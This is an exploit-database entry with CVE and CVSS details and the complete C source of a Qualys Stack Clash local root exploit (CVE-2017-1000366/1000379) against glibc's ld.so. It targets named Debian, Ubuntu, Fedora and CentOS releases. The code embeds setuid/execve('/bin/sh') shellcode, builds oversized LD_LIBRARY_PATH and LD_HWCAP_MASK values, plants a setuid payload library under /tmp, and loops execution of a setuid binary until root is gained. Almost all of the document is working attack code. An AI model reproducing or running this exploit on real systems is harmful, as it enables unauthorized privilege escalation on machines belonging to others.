Linux 'ldso_hwcap_64' Local Root Stack Clash Exploit

Published
Credit
Risk
2017.06.29
Qualys
Medium
CWE
CVE
Local
Remote
N/A
CVE-2017-1000379
Yes
No

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.2/10
10/10
3.9/10
Exploit range
Attack complexity
Authentication
Local
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Complete
Complete
Complete

/*
* Linux_ldso_hwcap_64.c for CVE-2017-1000366, CVE-2017-1000379
* Copyright (C) 2017 Qualys, Inc.
*
* my_important_hwcaps() adapted from elf/dl-hwcaps.c,
* part of the GNU C Library:
* Copyright (C) 2012-2017 Free Software Foundation, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

/**
cat > la.c << "EOF"
static void __attribute__ ((constructor)) _init (void) {
__asm__ __volatile__ (
"addq $64, %rsp;"
// setuid(0);
"movq $105, %rax;"
"movq $0, %rdi;"
"syscall;"
// setgid(0);
"movq $106, %rax;"
"movq $0, %rdi;"
"syscall;"
// dup2(0, 1);
"movq $33, %rax;"
"movq $0, %rdi;"
"movq $1, %rsi;"
"syscall;"
// dup2(0, 2);
"movq $33, %rax;"
"movq $0, %rdi;"
"movq $2, %rsi;"
"syscall;"
// execve("/bin/sh");
"movq $59, %rax;"
"movq $0x0068732f6e69622f, %rdi;"
"pushq %rdi;"
"movq %rsp, %rdi;"
"movq $0, %rdx;"
"pushq %rdx;"
"pushq %rdi;"
"movq %rsp, %rsi;"
"syscall;"
// exit(0);
"movq $60, %rax;"
"movq $0, %rdi;"
"syscall;"
);
}
EOF
gcc -fpic -shared -nostdlib -Os -s -o la.so la.c
xxd -i la.so > la.so.h
**/

#define _GNU_SOURCE
#include <assert.h>
#include <elf.h>
#include <fcntl.h>
#include <limits.h>
#include <link.h>
#include <signal.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#define PAGESZ ((size_t)4096)
#define STACK_ALIGN ((size_t)16)
#define MALLOC_ALIGN ((size_t)8)

#define MAX_ARG_STRLEN ((size_t)128<<10)

#define SUB_STACK_RAND ((size_t)8192)
#define INITIAL_STACK_EXPANSION (131072UL)

#define LDSO "/lib64/ld-linux-x86-64.so.2"

static const struct target * target;
static const struct target {
const char * name;
size_t vdso_vvar;
int jump_ldso_pie;
int CVE_2015_1593;
int offset2lib;
const char * system_dir;
const char * repl_lib;
unsigned int extra_page;
int ignore_lib;
int ignore_origin;
int disable_audit;
} targets[] = {
{
.name = "Debian 7.7 (wheezy)",
.vdso_vvar = 4096,
.jump_ldso_pie = 1,
.CVE_2015_1593 = 1,
.offset2lib = 1,
.system_dir = "/lib",
.repl_lib = "lib/x86_64-linux-gnu",
},
{
.name = "Debian 8.5 (jessie)",
.vdso_vvar = 16384,
.offset2lib = 1,
.system_dir = "/lib",
.repl_lib = "lib/x86_64-linux-gnu",
},
{
.name = "Debian 9.0 (stretch)",
.vdso_vvar = 16384,
.system_dir = "/lib",
.repl_lib = "lib/x86_64-linux-gnu",
.extra_page = 1,
},
{
.name = "Ubuntu 14.04.2 (Trusty Tahr)",
.vdso_vvar = 8192,
.jump_ldso_pie = 1,
.CVE_2015_1593 = 1,
.offset2lib = 1,
.system_dir = "/lib",
.repl_lib = "lib/x86_64-linux-gnu",
.disable_audit = 1,
},
{
.name = "Ubuntu 16.04.2 (Xenial Xerus)",
.vdso_vvar = 16384,
.system_dir = "/lib",
.repl_lib = "lib/x86_64-linux-gnu",
.disable_audit = 1,
},
{
.name = "Ubuntu 17.04 (Zesty Zapus)",
.vdso_vvar = 16384,
.system_dir = "/lib",
.repl_lib = "lib/x86_64-linux-gnu",
.extra_page = 1,
.disable_audit = 1,
},
{
.name = "Fedora 22 (Twenty Two)",
.vdso_vvar = 16384,
.offset2lib = 1,
.system_dir = "/lib64",
.repl_lib = "lib64",
},
{
.name = "Fedora 25 (Server Edition)",
.vdso_vvar = 16384,
.system_dir = "/lib64",
.repl_lib = "lib64",
.extra_page = 1,
},
{
.name = "CentOS 7.3.1611 (Core)",
.vdso_vvar = 8192,
.jump_ldso_pie = 1,
.offset2lib = 1,
.system_dir = "/lib64",
.repl_lib = "lib64",
},
};

#define die() do { \
printf("died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)

static const char *
my_asprintf(const char * const fmt, ...)
{
if (!fmt) die();
char * str = NULL;
va_list ap;
va_start(ap, fmt);
const int len = vasprintf(&str, fmt, ap);
va_end(ap);
if (!str) die();
if (len <= 0) die();
if ((unsigned int)len != strlen(str)) die();
return str;
}

static const ElfW(auxv_t) * my_auxv;

static unsigned long int
my_getauxval (const unsigned long int type)
{
const ElfW(auxv_t) * p;

if (!my_auxv) die();
for (p = my_auxv; p->a_type != AT_NULL; p++)
if (p->a_type == type)
return p->a_un.a_val;
die();
}

struct elf_info {
ElfW(Half) type;
uintptr_t rx_start, rx_end;
uintptr_t rw_start, rw_end;
};

static struct elf_info
get_elf_info(const char * const binary)
{
struct elf_info elf = { ET_NONE };
if (elf.rx_start || elf.rx_end) die();
if (elf.rw_start || elf.rw_end) die();

const int fd = open(binary, O_RDONLY);
if (fd <= -1) die();
struct stat st;
if (fstat(fd, &st)) die();
if (!S_ISREG(st.st_mode)) die();
if (st.st_size <= 0) die();
#define SAFESZ ((size_t)64<<20)
if (st.st_size >= (ssize_t)SAFESZ) die();
const size_t size = st.st_size;
uint8_t * const buf = malloc(size);
if (!buf) die();
if (read(fd, buf, size) != (ssize_t)size) die();
if (close(fd)) die();

if (size <= sizeof(ElfW(Ehdr))) die();
const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf;
if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die();
if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die();
if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die();
if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die();
if (ehdr->e_ident[EI_CLASS] != ELFCLASS64) die();
if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die();
if (ehdr->e_type != ET_DYN && ehdr->e_type != ET_EXEC) die();
if (ehdr->e_machine != EM_X86_64) die();
if (ehdr->e_version != EV_CURRENT) die();
if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die();
if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die();
if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die();
if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die();
elf.type = ehdr->e_type;

int interp = 0;
unsigned int i;
for (i = 0; i < ehdr->e_phnum; i++) {
const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i;
if (phdr->p_type == PT_INTERP) interp = 1;
if (phdr->p_type != PT_LOAD) continue;

if (phdr->p_offset >= size) die();
if (phdr->p_filesz > size - phdr->p_offset) die();
if (phdr->p_filesz > phdr->p_memsz) die();
if (phdr->p_vaddr != phdr->p_paddr) die();
if (phdr->p_vaddr >= SAFESZ) die();
if (phdr->p_memsz >= SAFESZ) die();
if (phdr->p_memsz <= 0) die();
if (phdr->p_align != 0x200000) die();

switch (phdr->p_flags) {
case PF_R | PF_X:
if (elf.rx_end) die();
if (elf.rw_end) die();
if (phdr->p_vaddr && ehdr->e_type != ET_EXEC) die();
elf.rx_start = phdr->p_vaddr & ~(PAGESZ-1);
elf.rx_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
if (!elf.rx_end) die();
break;
case PF_R | PF_W:
if (!elf.rx_end) die();
if (elf.rw_end) die();
elf.rw_start = phdr->p_vaddr & ~(PAGESZ-1);
elf.rw_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1);
if (elf.rw_start <= elf.rx_end) die();
break;
default:
die();
}
}
if (!interp && !strstr(binary, "/ld-linux")) die();
if (!elf.rx_end) die();
if (!elf.rw_end) die();
free(buf);
return elf;
}

/* There are no hardware capabilities defined. */
#define my_hwcap_string(idx) ""

struct my_important_hwcaps {
unsigned long hwcap_mask;
size_t max_capstrlen;
size_t pointers;
size_t strings;
};

struct my_link_map {
const ElfW(Phdr) * l_phdr;
ElfW(Half) l_phnum;
ElfW(Addr) l_addr;
};

struct r_strlenpair
{
const char *str;
size_t len;
};

/* Return an array of useful/necessary hardware capability names. */
static struct my_important_hwcaps
my_important_hwcaps (const char * const platform, const size_t platform_len,
const uint64_t hwcap, const uint64_t hwcap_mask,
const struct my_link_map * sysinfo_map)
{
static const struct my_important_hwcaps err;
/* Determine how many important bits are set. */
uint64_t masked = hwcap & hwcap_mask;
size_t cnt = platform != NULL;
size_t n, m;
size_t total;
struct r_strlenpair *result;

/* Count the number of bits set in the masked value. */
for (n = 0; (~((1ULL << n) - 1) & masked) != 0; ++n)
if ((masked & (1ULL << n)) != 0)
++cnt;

/* The system-supplied DSO can contain a note of type 2, vendor "GNU".
This gives us a list of names to treat as fake hwcap bits. */

const char *dsocaps = NULL;
size_t dsocapslen = 0;
if (sysinfo_map != NULL)
{
const ElfW(Phdr) *const phdr = sysinfo_map->l_phdr;
const ElfW(Word) phnum = sysinfo_map->l_phnum;
uint_fast16_t i;
for (i = 0; i < phnum; ++i)
if (phdr[i].p_type == PT_NOTE)
{
const ElfW(Addr) start = (phdr[i].p_vaddr
+ sysinfo_map->l_addr);
/* The standard ELF note layout is exactly as the anonymous struct.
The next element is a variable length vendor name of length
VENDORLEN (with a real length rounded to ElfW(Word)), followed
by the data of length DATALEN (with a real length rounded to
ElfW(Word)). */
const struct
{
ElfW(Word) vendorlen;
ElfW(Word) datalen;
ElfW(Word) type;
} *note = (const void *) start;
while ((ElfW(Addr)) (note + 1) - start < phdr[i].p_memsz)
{
#define ROUND(len) (((len) + sizeof (ElfW(Word)) - 1) & -sizeof (ElfW(Word)))
/* The layout of the type 2, vendor "GNU" note is as follows:
.long <Number of capabilities enabled by this note>
.long <Capabilities mask> (as mask >> _DL_FIRST_EXTRA).
.byte <The bit number for the next capability>
.asciz <The name of the capability>. */
if (note->type == NT_GNU_HWCAP
&& note->vendorlen == sizeof "GNU"
&& !memcmp ((note + 1), "GNU", sizeof "GNU")
&& note->datalen > 2 * sizeof (ElfW(Word)) + 2)
{
const ElfW(Word) *p = ((const void *) (note + 1)
+ ROUND (sizeof "GNU"));
cnt += *p++;
++p; /* Skip mask word. */
dsocaps = (const char *) p; /* Pseudo-string "<b>name" */
dsocapslen = note->datalen - sizeof *p * 2;
break;
}
note = ((const void *) (note + 1)
+ ROUND (note->vendorlen) + ROUND (note->datalen));
#undef ROUND
}
if (dsocaps != NULL)
break;
}
}

/* For TLS enabled builds always add 'tls'. */
++cnt;

/* Create temporary data structure to generate result table. */
if (cnt < 2) return err;
if (cnt >= 32) return err;
struct r_strlenpair temp[cnt];
m = 0;
if (dsocaps != NULL)
{
/* dsocaps points to the .asciz string, and -1 points to the mask
.long just before the string. */
const ElfW(Word) mask = ((const ElfW(Word) *) dsocaps)[-1];
size_t len;
const char *p;
for (p = dsocaps; p < dsocaps + dsocapslen; p += len + 1)
{
uint_fast8_t bit = *p++;
len = strlen (p);

/* Skip entries that are not enabled in the mask word. */
if (mask & ((ElfW(Word)) 1 << bit))
{
temp[m].str = p;
temp[m].len = len;
++m;
}
else
--cnt;
}
}
for (n = 0; masked != 0; ++n)
if ((masked & (1ULL << n)) != 0)
{
temp[m].str = my_hwcap_string (n);
temp[m].len = strlen (temp[m].str);
masked ^= 1ULL << n;
++m;
}
if (platform != NULL)
{
temp[m].str = platform;
temp[m].len = platform_len;
++m;
}

temp[m].str = "tls";
temp[m].len = 3;
++m;

assert (m == cnt);

/* Determine the total size of all strings together. */
if (cnt == 1)
total = temp[0].len + 1;
else
{
total = temp[0].len + temp[cnt - 1].len + 2;
if (cnt > 2)
{
total <<= 1;
for (n = 1; n + 1 < cnt; ++n)
total += temp[n].len + 1;
if (cnt > 3
&& (cnt >= sizeof (size_t) * 8
|| total + (sizeof (*result) << 3)
>= (1UL << (sizeof (size_t) * 8 - cnt + 3))))
return err;

total <<= cnt - 3;
}
}

/* The result structure: we use a very compressed way to store the
various combinations of capability names. */
const size_t _sz = 1 << cnt;

/* Now we are ready to install the string pointers and length. */
size_t max_capstrlen = 0;
n = cnt;
do
{
const size_t mask = 1 << --n;
for (m = 1 << cnt; m > 0; ) {
if ((--m & mask) != 0)
max_capstrlen += temp[n].len + 1;
break;
}
}
while (n != 0);

if (hwcap_mask > ULONG_MAX) die();
const struct my_important_hwcaps ret = {
.hwcap_mask = hwcap_mask,
.max_capstrlen = max_capstrlen,
.pointers = _sz * sizeof (*result),
.strings = total,
};
return ret;
}

static size_t
my_bsearch(const void * const key,
const void * const base, const size_t nmemb, const size_t size,
int (* const compar)(const void *, const void *))
{
if (!key) die();
if (!size) die();
if (!compar) die();
if (nmemb >= SSIZE_MAX / size) die();
if (!base != !nmemb) die();
if (!base || !nmemb) return 0;

size_t low = 0;
size_t high = nmemb - 1;
while (low <= high) {
const size_t mid = low + (high - low) / 2;
if (mid >= nmemb) die();
const int cond = compar(key, base + mid * size);
switch (cond) {
case 0:
return mid;
case -1:
if (mid <= 0) {
if (mid != 0) die();
if (low != 0) die();
return low;
}
high = mid - 1;
break;
case +1:
low = mid + 1;
break;
default:
die();
}
}
if (low > nmemb) die();
return low;
}

static int
cmp_important_hwcaps(const void * const _a, const void * const _b)
{
const struct my_important_hwcaps * const a = _a;
const struct my_important_hwcaps * const b = _b;

if (a->strings < b->strings) return -1;
if (a->strings > b->strings) return +1;

if (a->pointers < b->pointers) return -1;
if (a->pointers > b->pointers) return +1;

if (a->max_capstrlen < b->max_capstrlen) return -1;
if (a->max_capstrlen > b->max_capstrlen) return +1;

return 0;
}

static void
copy_lib(const char * const src, const char * const dst)
{
if (!src) die();
if (*src != '/') die();

if (!dst) die();
if (*dst != '/') die();

const int src_fd = open(src, O_RDONLY);
if (src_fd <= -1) die();

const int dst_fd = open(dst, O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0);
if (dst_fd <= -1) die();

for (;;) {
char buf[1024];
const ssize_t rd = read(src_fd, buf, sizeof(buf));
if (rd == 0) break;
if (rd <= 0) die();
const ssize_t wr = write(dst_fd, buf, rd);
if (wr != rd) die();
}

if (fchmod(dst_fd, 0755)) die();
if (close(dst_fd)) die();
if (close(src_fd)) die();
}

static void
create_needed_libs(const char * const bin, const char * const dir)
{
if (!bin) die();
if (*bin != '/') die();
if (strspn(bin, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+,-./_") != strlen(bin)) die();

if (!dir) die();
if (*dir != '/') die();
if (dir[strlen(dir)-1] != '/') die();

char cmd[256];
if ((unsigned int)snprintf(cmd, sizeof(cmd), "/usr/bin/env - %s --list %s", LDSO, bin)
>= sizeof(cmd)) die();
FILE * const fp = popen(cmd, "r");
if (!fp) die();

char buf[256];
unsigned int num_libs = 0;
while (fgets(buf, sizeof(buf), fp) == buf) {
if (!strchr(buf, '\n')) die();

const char * const rel_lib = buf + strspn(buf, "\t ");
if (strncmp(rel_lib, "lib", 3)) continue;

char * sp = strchr(rel_lib, ' ');
if (!sp) die();
if (strncmp(sp, " => /", 5)) die();
*sp = '\0';
if (strchr(rel_lib, '/')) die();

const char * const abs_lib = sp + 4;
if (*abs_lib != '/') die();
sp = strchr(abs_lib, ' ');
if (!sp) die();
if (strncmp(sp, " (0x", 4)) die();
*sp = '\0';

size_t i;
static const char * const prefixes[] = { "", "/", "/.", "/.." };
for (i = 0; i < sizeof(prefixes)/sizeof(*prefixes); i++) {

char tmp_lib[256];
if ((unsigned int)snprintf(tmp_lib, sizeof(tmp_lib), "%s%s%s", dir, prefixes[i], rel_lib)
>= sizeof(tmp_lib)) die();
copy_lib(abs_lib, tmp_lib);
}
if (!++num_libs) die();
}
if (!num_libs) die();
printf("copied %u lib%s\n", num_libs, num_libs > 1 ? "s" : "");
if (pclose(fp) != EXIT_SUCCESS) die();
}

int
main(const int my_argc, const char * const my_argv[], const char * const my_envp[])
{
{
const char * const * p = my_envp;
while (*p++) ;
my_auxv = (const void *)p;
}
if (my_getauxval(AT_PAGESZ) != PAGESZ) die();

if (my_argc != 1+2) {
printf("Usage: %s target binary\n", my_argv[0]);
size_t i;
for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
printf("Target %zu %s\n", i, targets[i].name);
}
die();
}
{
const size_t i = strtoul(my_argv[1], NULL, 10);
if (i >= sizeof(targets)/sizeof(*targets)) die();
target = targets + i;
printf("Target %zu %s\n", i, target->name);
}
const size_t safe_stack_size = target->CVE_2015_1593 ? 65536 : 32768;
printf("safe_stack_size %zu\n", safe_stack_size);
if (safe_stack_size <= SUB_STACK_RAND) die();

const char * const binary = realpath(my_argv[2], NULL);
if (!binary) die();
if (*binary != '/') die();
if (access(binary, R_OK | X_OK)) die();
const struct elf_info elf_binary = get_elf_info(binary);
const struct elf_info elf_interp = get_elf_info(LDSO);
const struct elf_info elf = (elf_binary.type == ET_DYN && target->offset2lib && !target->jump_ldso_pie) ? elf_binary : elf_interp;
const size_t jump_ldso_pie = (elf_binary.type == ET_DYN && target->offset2lib && target->jump_ldso_pie) ? (elf_binary.rx_end - elf_binary.rx_start) : 0;
if (elf.rw_start - elf.rx_end <= target->vdso_vvar) die();

const char * const slash = strrchr(binary, '/');
if (!slash) die();
if (slash <= binary) die();
const char * const origin = strndup(binary, slash - binary);
if (!origin) die();
printf("origin %s (%zu)\n", origin, strlen(origin));

const char * const platform = (const void *)my_getauxval(AT_PLATFORM);
if (!platform) die();
if (strcmp(platform, "x86_64") != 0) die();
const size_t platform_len = strlen(platform);

const struct {
const char * str;
size_t len;
size_t repl_len;
} DSTs[] = {
#define DST_LIB "LIB"
{ DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) },
#define DST_PLATFORM "PLATFORM"
{ DST_PLATFORM, strlen(DST_PLATFORM), platform_len }
};
size_t repl_max = target->ignore_origin ? 0 : strlen(origin);
{
size_t i;
for (i = target->ignore_lib ? 1 : 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) {
if (repl_max < DSTs[i].repl_len)
repl_max = DSTs[i].repl_len;
}
}
printf("repl_max %zu\n", repl_max);
if (repl_max < 4) die();

const ElfW(Ehdr) * const sysinfo_dso = (const void *)my_getauxval(AT_SYSINFO_EHDR);
if (!sysinfo_dso) die();
struct my_link_map sysinfo_map = {
.l_phdr = (const void *)sysinfo_dso + sysinfo_dso->e_phoff,
.l_phnum = sysinfo_dso->e_phnum,
.l_addr = ULONG_MAX
};
{
uint_fast16_t i;
for (i = 0; i < sysinfo_map.l_phnum; ++i) {
const ElfW(Phdr) * const ph = &sysinfo_map.l_phdr[i];
if (ph->p_type == PT_LOAD) {
if (sysinfo_map.l_addr == ULONG_MAX)
sysinfo_map.l_addr = ph->p_vaddr;
}
}
}
if (sysinfo_map.l_addr == ULONG_MAX) die();
sysinfo_map.l_addr = (ElfW(Addr))sysinfo_dso - sysinfo_map.l_addr;

const unsigned long hwcap = my_getauxval(AT_HWCAP);
if (!hwcap) die();
struct my_important_hwcaps * important_hwcaps = NULL;
size_t num_important_hwcaps = 0;
{
size_t max_important_hwcaps = 0;
uint32_t hwcap_mask = 1;
do {
if (hwcap_mask & ~hwcap) continue;
const uint64_t popcount = __builtin_popcount(hwcap_mask);
if (popcount < 1) die();
if (popcount > 32) die();

const struct my_important_hwcaps ihc = my_important_hwcaps(platform, platform_len, hwcap, hwcap_mask, &sysinfo_map);
if (!ihc.pointers) die();

const size_t idx = my_bsearch(&ihc, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps);
if (idx > num_important_hwcaps) die();

if (idx == num_important_hwcaps || cmp_important_hwcaps(&ihc, important_hwcaps + idx)) {
if (num_important_hwcaps >= max_important_hwcaps) {
if (num_important_hwcaps != max_important_hwcaps) die();
if (max_important_hwcaps >= 65536) die();
max_important_hwcaps += 256;

if (num_important_hwcaps >= max_important_hwcaps) die();
important_hwcaps = realloc(important_hwcaps, max_important_hwcaps * sizeof(struct my_important_hwcaps));
if (!important_hwcaps) die();
}
memmove(important_hwcaps + idx + 1, important_hwcaps + idx, (num_important_hwcaps - idx) * sizeof(struct my_important_hwcaps));
important_hwcaps[idx] = ihc;
num_important_hwcaps++;
}
if (!(hwcap_mask % 0x10000000))
printf("num_important_hwcaps %zu hwcap_mask %x\n", num_important_hwcaps, hwcap_mask);
} while (++hwcap_mask);
}
printf("num_important_hwcaps %zu\n", num_important_hwcaps);

static struct {
size_t len, gwr, dst, cnt;
struct my_important_hwcaps ihc;
} best = { .ihc = { .pointers = SIZE_MAX } };

if (strrchr(target->system_dir, '/') != target->system_dir) die();
const char * const sep_lib = my_asprintf(":%s", target->system_dir);
const size_t sep_lib_len = strlen(sep_lib);
if (sep_lib_len >= MALLOC_ALIGN) die();

#define LLP "LD_LIBRARY_PATH="
static char llp[MAX_ARG_STRLEN];

size_t len;
for (len = sizeof(llp) - sizeof(LLP); len >= MALLOC_ALIGN; len -= MALLOC_ALIGN) {

size_t gwr;
for (gwr = MALLOC_ALIGN; gwr <= len - sep_lib_len; gwr += MALLOC_ALIGN) {

size_t dst;
for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) {

const size_t cnt = (len - sep_lib_len - gwr) / (1 + DSTs[dst].len + 1);
const size_t gpj = (len + cnt * (repl_max - (target->ignore_lib ? 7 : 4)) + 1 + STACK_ALIGN-1) & ~(STACK_ALIGN-1);
const size_t bwr = (cnt * (DSTs[dst].repl_len + 1)) + (len - gwr - cnt * (1 + DSTs[dst].len + 1)) + 1;

size_t idx;
for (idx = 0; idx < num_important_hwcaps; idx++) {
const struct my_important_hwcaps ihc = important_hwcaps[idx];
if (ihc.max_capstrlen % MALLOC_ALIGN >= sizeof("/..")) continue;
if (ihc.pointers <= 2 * SUB_STACK_RAND) continue;

const size_t nup = ((ihc.pointers + ihc.strings + PAGESZ-1) & ~(PAGESZ-1)) + (target->extra_page * PAGESZ);
if (nup >= (elf.rw_start - elf.rx_end) - target->vdso_vvar) continue;

const size_t ihc_strings_start = ihc.pointers;
const size_t ihc_strings_end = ihc_strings_start + ihc.strings;

const size_t gpj_base = nup + target->vdso_vvar + (elf.rw_end - elf.rw_start) + jump_ldso_pie + PAGESZ + safe_stack_size;
const size_t gpj_base_lo = gpj_base - SUB_STACK_RAND;
const size_t gpj_base_hi = gpj_base + SUB_STACK_RAND;

if (gpj_base_lo <= gpj) continue;
if (gpj_base_hi - gpj >= ihc_strings_start) continue;
if (gpj_base_lo - gpj + gwr <= ihc_strings_start) continue;
if (gpj_base_hi - gpj + gwr + bwr >= ihc_strings_end) continue;

if (best.ihc.pointers <= ihc.pointers) continue;
best.ihc = ihc;
best.len = len;
best.gwr = gwr;
best.dst = dst;
best.cnt = cnt;
printf("max %zu ihcp %zu ihcs %zu len %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu\n",
ihc.max_capstrlen, ihc.pointers, ihc.strings, len, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len);
}
}
}
}
if (best.ihc.pointers >= SIZE_MAX) die();

if (INITIAL_STACK_EXPANSION <= safe_stack_size) die();
const size_t pads = (INITIAL_STACK_EXPANSION - safe_stack_size) / sizeof(char *);
static char pad[MAX_ARG_STRLEN];
memset(pad, ' ', sizeof(pad)-1);

{
char * cp = mempcpy(llp, LLP, sizeof(LLP)-1);
memset(cp, '/', best.len);
if (best.len <= sep_lib_len) die();
memcpy(cp + best.len - sep_lib_len, sep_lib, sep_lib_len);
if (*(cp + best.len)) die();

#define LIB_TO_TMP "/../tmp/"
if (sizeof(LIB_TO_TMP)-1 != MALLOC_ALIGN) die();

if (!best.gwr) die();
if (best.gwr >= best.len) die();
if (best.gwr % MALLOC_ALIGN) die();
size_t i;
for (i = 0; i < best.gwr / MALLOC_ALIGN; i++) {
cp = mempcpy(cp, LIB_TO_TMP, MALLOC_ALIGN);
}
if (!best.cnt) die();
if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die();
for (i = 0; i < best.cnt; i++) {
*cp++ = '$';
cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len);
*cp++ = '/';
}
if (cp >= llp + sizeof(llp)) die();
if (llp[sizeof(llp)-1]) die();
if (strlen(llp) != sizeof(LLP)-1 + best.len) die();
}

#define LHCM "LD_HWCAP_MASK="
static char lhcm[64];
if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%lu", LHCM, best.ihc.hwcap_mask)
>= sizeof(lhcm)) die();

const size_t args = 1 + (target->jump_ldso_pie ? 0 : pads) + 1;
char ** const argv = calloc(args, sizeof(char *));
if (!argv) die();
{
char ** ap = argv;
*ap++ = (char *)binary;
if (!target->jump_ldso_pie) {
size_t i;
for (i = 0; i < pads; i++) {
*ap++ = pad;
}
}
*ap++ = NULL;
if (ap != argv + args) die();
}

const size_t envs = 3 + (target->jump_ldso_pie ? pads : 0) + 1;
char ** const envp = calloc(envs, sizeof(char *));
if (!envp) die();
{
char ** ep = envp;
*ep++ = llp;
*ep++ = lhcm;
#define REL_LA "a"
#define LDA "LD_AUDIT="
#define LDP "LD_PRELOAD="
*ep++ = target->disable_audit ? LDP REL_LA : LDA REL_LA;
if (target->jump_ldso_pie) {
size_t i;
for (i = 0; i < pads; i++) {
*ep++ = pad;
}
}
*ep++ = NULL;
if (ep != envp + envs) die();
}

{
const size_t MIN_GAP = target->CVE_2015_1593 ?
(128*1024*1024UL + (((-1U ) & 0x3fffff) << 12)) :
(128*1024*1024UL + (((-1UL) & 0x3fffff) << 12)) ;
printf("MIN_GAP %zu\n", MIN_GAP);

if (pads * sizeof(pad) + (1<<20) >= MIN_GAP / 4) die();
const struct rlimit rlimit_stack = { MIN_GAP, MIN_GAP };
if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die();
}

int pipefd[2];
if (pipe(pipefd)) die();
if (close(pipefd[0])) die();
pipefd[0] = -1;
if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();

{
const char * const abs_la_dir = my_asprintf("/%s/%s/", target->system_dir, LIB_TO_TMP);
const char * const abs_las[] = {
my_asprintf("%s%s%s", abs_la_dir, "", REL_LA),
my_asprintf("%s%s%s", abs_la_dir, "/", REL_LA),
my_asprintf("%s%s%s", abs_la_dir, "/.", REL_LA),
my_asprintf("%s%s%s", abs_la_dir, "/..", REL_LA),
};
size_t i;
for (i = 0; i < sizeof(abs_las)/sizeof(*abs_las); i++) {
const int fd = open(abs_las[i], O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0);
if (fd <= -1) die();
{
struct stat st;
if (fstat(fd, &st)) die();
if (!S_ISREG(st.st_mode)) die();
if (st.st_uid != getuid()) die();
if (st.st_uid != geteuid()) die();
}
{
static const
#include "la.so.h"
if (sizeof(la_so) != la_so_len) die();
if (write(fd, la_so, sizeof(la_so)) != (ssize_t)sizeof(la_so)) die();
}
if (fchmod(fd, 04755)) die();
if (close(fd)) die();
}
if (target->disable_audit) create_needed_libs(binary, abs_la_dir);
}

size_t try;
for (try = 1; try; try++) {
if (fflush(stdout)) die();
const pid_t pid = fork();
if (pid <= -1) die();
if (pid == 0) {
if (dup2(pipefd[1], 1) != 1) die();
if (dup2(pipefd[1], 2) != 2) die();
execve(*argv, argv, envp);
die();
}
int status = 0;
struct timeval start, stop, diff;
if (gettimeofday(&start, NULL)) die();
if (waitpid(pid, &status, WUNTRACED) != pid) die();
if (gettimeofday(&stop, NULL)) die();
timersub(&stop, &start, &diff);
printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec);

if (WIFSIGNALED(status)) {
printf("signal %d\n", WTERMSIG(status));
switch (WTERMSIG(status)) {
case SIGPIPE:
case SIGSEGV:
case SIGBUS:
break;
default:
die();
}
} else if (WIFEXITED(status)) {
printf("exited %d\n", WEXITSTATUS(status));
die();
} else if (WIFSTOPPED(status)) {
printf("stopped %d\n", WSTOPSIG(status));
die();
} else {
printf("unknown %d\n", status);
die();
}
}
die();
}


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